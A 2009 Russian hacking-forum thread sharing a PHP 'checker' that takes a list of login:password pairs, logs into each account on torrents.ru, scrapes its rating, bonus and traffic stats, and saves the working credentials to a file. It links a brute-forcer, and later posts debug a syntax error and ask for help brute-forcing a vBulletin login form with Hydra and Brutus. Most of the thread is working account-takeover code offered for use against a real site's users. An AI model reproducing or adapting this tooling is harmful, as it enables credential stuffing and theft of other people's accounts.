Torrent.ru checker

Discussion in 'PHP' started by b3, 24 Feb 2009.

  1. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    Torrents.ru checker

    Сам брутофорс можно найти тут: http://grabberz.com/showthread.php?t=16618

    [​IMG]

    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
    <html xmlns="http://www.w3.org/1999/xhtml"> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <title>Torrents.ru Checker</title> 
    <style type="text/css"> 
    <!-- 
    body { 
        background-color: #333333; 

    .table { 
        border-top-color: #000000; 
        border-right-color: #000000; 
        border-bottom-color: #000000; 
        border-left-color: #000000; 
        font-family: Verdana, Arial, Helvetica, sans-serif; 
        font-size: 10px; 
        color: #FFCC00; 

    .style1 { 
        font-family: Verdana, Arial, Helvetica, sans-serif; 
        color: #CCCCCC; 

    --> 
    </style> 
    </head> 
    <body> 
    <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> 
    <table width="50%" border="1" align="center" class="table"> 
      <tr> 
        <td>Login</td>    
        <td>ID</td>  
        <td>Rate</td> 
        <td>Bonus</td> 
        <td>Upload</td>
        <td>Download</td>
      </tr> 
      <tr> 
    <?php 
    error_reporting
    (0);
    set_time_limit(0); 
    $url 'http://torrents.ru/forum/login.php'
    $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'
    $ref 'http://torrents.ru/forum/index.php'

    if(!
    function_exists(curl_init))
    {
        echo 
    '<center><b>cURL not Supported</b></center><br>';
        exit;
    }

    if(!
    file_exists('accs.txt'))
    {
        echo 
    '<center>File with acc\'s Not Found 404</center>';
        exit;
    }
    $fp fopen('result.txt','a');
     
    $accs file('accs.txt'); 
    foreach (
    $accs as $acc) { 
    list(
    $login,$pass) = explode(';',$acc); 
    $post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'
    $ch curl_init($url); 
        
    curl_setopt($chCURLOPT_USERAGENT$ua); 
        
    curl_setopt($chCURLOPT_COOKIEJAR'./cook'); 
        
    curl_setopt($chCURLOPT_REFERER$ref); 
        
    curl_setopt($chCURLOPT_POST1); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    $res curl_exec($ch); 
    curl_close($ch);

    $regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#"
    if(
    preg_match($regxp$res$matches)) 

            echo 
    '<td>'.$login.'</b></td>'
            echo 
    str_pad('',1024)."\n"
        
    flush(); 
             
            
    $url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; 
            
    $ch curl_init($url_cp); 
        
    curl_setopt($chCURLOPT_USERAGENT$ua); 
        
    curl_setopt($chCURLOPT_COOKIEFILE'./cook'); 
        
    curl_setopt($chCURLOPT_REFERER$ref); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION0); 
            
    $res curl_exec($ch);
            
    curl_close($ch);
                    
        { 
        
    $bonus str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td> '.$matches[1].'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        }
      
        if(
    preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches)) 
        { 
            
    $rate $matches[1]; 
            echo 
    '<td>Рейтинг:<b> '.$rate.'</b></td>'
            echo 
    str_pad('',1024)."\n"
        
    flush();     
        } 
    else 

        echo 
    "<td>Рейтинг отсутствует</td>";     

        if(
    preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $bonus str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Бонус:<b> '.$bonus.'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    if(
    preg_match('#<td id=\"u_up_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $u_up str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Закачано:<b> '.$u_up.'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    if(
    preg_match('#<td id=\"u_down_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $u_down str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Скачано:<b> '.$u_down.'</b></td></tr>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    else 

        echo 
    '<td>Oшибка сценария</td></tr>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 

     
    fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");
    }
    else 
        { 
            echo 
    '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'
        } 

    fclose($fp); 
    ?> 
    </table> 
    </body> 
    </html>
    (c) b3 & MusTank
     
    _________________________
    #1 b3, 24 Feb 2009
    Last edited: 24 Mar 2009
    1 person likes this.
  2. dailik

    dailik New Member

    Joined:
    27 Oct 2008
    Messages:
    94
    Likes Received:
    2
    Reputations:
    0
    Parse error: syntax error, unexpected T_ELSE in /public_html/mytestfile/untitled.php on line 149
     
  3. Zake73

    Zake73 Elder - Старейшина

    Joined:
    4 Jun 2008
    Messages:
    0
    Likes Received:
    2
    Reputations:
    0
    PHP:
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
    <html xmlns="http://www.w3.org/1999/xhtml"> 
    <head> 
    <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> 
    <title>Torrents.ru Checker</title> 
    <style type="text/css"> 
    <!-- 
    body { 
        background-color: #333333; 

    .table { 
        border-top-color: #000000; 
        border-right-color: #000000; 
        border-bottom-color: #000000; 
        border-left-color: #000000; 
        font-family: Verdana, Arial, Helvetica, sans-serif; 
        font-size: 10px; 
        color: #FFCC00; 

    .style1 { 
        font-family: Verdana, Arial, Helvetica, sans-serif; 
        color: #CCCCCC; 

    --> 
    </style> 
    </head> 
    <body> 
    <h2 align="center" class="style1">:: Torrents.ru Checker ::</h2> 
    <table width="50%" border="1" align="center" class="table"> 
      <tr> 
        <td>Login</td>    
        <td>ID</td>  
        <td>Rate</td> 
        <td>Bonus</td> 
        <td>Upload</td>
        <td>Download</td>
      </tr> 
      <tr> 
    <?php 
    error_reporting
    (0);
    set_time_limit(0); 
    $url 'http://torrents.ru/forum/login.php'
    $ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'
    $ref 'http://torrents.ru/forum/index.php'

    if(!
    function_exists(curl_init))
    {
        echo 
    '<center><b>cURL not Supported</b></center><br>';
        exit;
    }

    if(!
    file_exists('accs.txt'))
    {
        echo 
    '<center>File with acc\'s Not Found 404</center>';
        exit;
    }
    $fp fopen('result.txt','a');
     
    $accs file('accs.txt'); 
    foreach (
    $accs as $acc) { 
    list(
    $login,$pass) = explode(';',$acc); 
    $post 'login_username='.trim($login).'&login_password='.trim($pass).'&login=%C2%F5%EE%E4'
    $ch curl_init($url); 
        
    curl_setopt($chCURLOPT_USERAGENT$ua); 
        
    curl_setopt($chCURLOPT_COOKIEJAR'./cook'); 
        
    curl_setopt($chCURLOPT_REFERER$ref); 
        
    curl_setopt($chCURLOPT_POST1); 
        
    curl_setopt($chCURLOPT_POSTFIELDS$post); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION1); 
    $res curl_exec($ch); 
    curl_close($ch);

    $regxp "#<a href=\"profile\.php\?mode=viewprofile\&amp;u=([0-9]{1,8})\"><b class=\"med\">$login#"
    if(
    preg_match($regxp$res$matches)) 

            echo 
    '<td>'.$login.'</b></td>'
            echo 
    str_pad('',1024)."\n"
        
    flush(); 
             
            
    $url_cp 'http://torrents.ru/forum/profile.php?mode=viewprofile&u='.$matches[1]; 
            
    $ch curl_init($url_cp); 
        
    curl_setopt($chCURLOPT_USERAGENT$ua); 
        
    curl_setopt($chCURLOPT_COOKIEFILE'./cook'); 
        
    curl_setopt($chCURLOPT_REFERER$ref); 
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1); 
        
    curl_setopt($chCURLOPT_FOLLOWLOCATION0); 
            
    $res curl_exec($ch);
            
    curl_close($ch);
                    
        { 
        
    $bonus str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td> '.$matches[1].'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        }
      
        if(
    preg_match('#<b class=\"gen\">([0-9]{1,3}\.[0-9]{1,3})<\/b>#'$res$matches)) 
        { 
            
    $rate $matches[1]; 
            echo 
    '<td>Рейтинг:<b> '.$rate.'</b></td>'
            echo 
    str_pad('',1024)."\n"
        
    flush();     
        } 
    else 

        echo 
    "<td>Рейтинг отсутствует</td>";     

        if(
    preg_match('#<td id=\"u_up_bonus\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $bonus str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Бонус:<b> '.$bonus.'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    if(
    preg_match('#<td id=\"u_up_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $u_up str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Закачано:<b> '.$u_up.'</b></td>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    if(
    preg_match('#<td id=\"u_down_total\"><span class=\"editable bold\">(.*?)<\/span>#'$res$matches)) 
        { 
        
    $u_down str_replace('&nbsp;','',$matches[1]); 
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        echo 
    '<td>Скачано:<b> '.$u_down.'</b></td></tr>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 
        } 

    else 

        echo 
    '<td>Oшибка сценария</td></tr>'
        echo 
    str_pad('',1024)."\n"
        
    flush(); 



    fputs($fptrim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");

    else 
        { 
            echo 
    '<td>Залогиниться не удалось =(</td><td>=(</td><td>=(</td><td>=(</td></tr>'
        } 

    fclose($fp); 
    ?> 
    </table> 
    </body> 
    </html> 
     
    1 person likes this.
  4. !JaX!

    !JaX! Elder - Старейшина

    Joined:
    28 Apr 2007
    Messages:
    0
    Likes Received:
    18
    Reputations:
    -2
    Как тут не копипасть - все равно эту ошибку выдает.
    Залейте нормальный, рабочий скрипт в архиве для немощных и тупых вроде меня... ))

    Поддерживаю последующего оратора
     
    #4 !JaX!, 23 Mar 2009
    Last edited: 23 Mar 2009
  5. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    сделай еще проверку на модерство ) , и количество входящих\исходящих писем )
    +
     
  6. Kaimi

    Kaimi Well-Known Member

    Joined:
    23 Aug 2007
    Messages:
    1,732
    Likes Received:
    809
    Reputations:
    231
    У тебя там идет конструкция
    if(...)
    {
    }
    fputs($fp, trim($login).':'.trim($pass).' Rate: '.$rate .' Bonus: '.$bonus .' Up: '.$u_up.' Down: '.$u_down."\r\n");
    else
    {
    }
     
    _________________________
  7. !JaX!

    !JaX! Elder - Старейшина

    Joined:
    28 Apr 2007
    Messages:
    0
    Likes Received:
    18
    Reputations:
    -2
    http://grabberz.com/showthread.php?p=197296#post197296

    Рабочий код
     
    #7 !JaX!, 23 Mar 2009
    Last edited: 23 Mar 2009
  8. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    А брут на php есть?
     
  9. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    я когда чекаю через него список около 200 акков, он долго грузится и виснит((
     
  10. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    нет, хостинг хороший (платный), я там много чё испытываю)), на локалхост курл не получается установить((
    а вот насчёт брута, может накидаешь простой пример брута веб формы?
     
  11. heretic1990

    heretic1990 Elder - Старейшина

    Joined:
    2 Jul 2008
    Messages:
    487
    Likes Received:
    182
    Reputations:
    5
    b3, 1. файлы закинул, строку раскоментировал, не пашет.
    2. гидру я уже юзал, не помогло, может на сайте защита стоит, и brutus - aet2 тоже юзал - не помогло, на других сайтах работает.


    Пример формы
    Code:
    <form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
    			<input type="hidden" name="do" value="login" />
    			<input type="hidden" name="url" value="/" />
    			<input type="hidden" name="vb_login_md5password" />
    			<input type="hidden" name="vb_login_md5password_utf" />
    			
    	
    			<input type="hidden" name="s" value="" />
    		
    			
    			<fieldset class="fieldset">
    
    				<table cellpadding="0" cellspacing="1" border="0" align="center">
    				<tr>
    					<td>Имя:<br /><input type="text" class="bginput" name="vb_login_username" size="50" accesskey="u" tabindex="1" /></td>
    				</tr>
    				<tr>
    					<td>Пароль:<br /><input type="password" class="bginput" name="vb_login_password" size="50" tabindex="1" /></td>
    				</tr>
    				<tr>
    					<td>
    						<span style="float:right"><a href="login.php?do=lostpw">Забыли пароль?</a></span>
    						<label for="cb_cookieuser"><input type="checkbox" name="cookieuser" value="1" id="cb_cookieuser" tabindex="1" />Запомнить?</label>
    					</td>
    				</tr>
    				<tr>
    					<td align="right">
    						<input type="submit" class="button" value="Вход" accesskey="s" tabindex="1" />
    						<input type="reset" class="button" value="Сброс" accesskey="r" tabindex="1" />
    					</td>
    				</tr>
    				</table>
    			</fieldset>
    			
    			</form>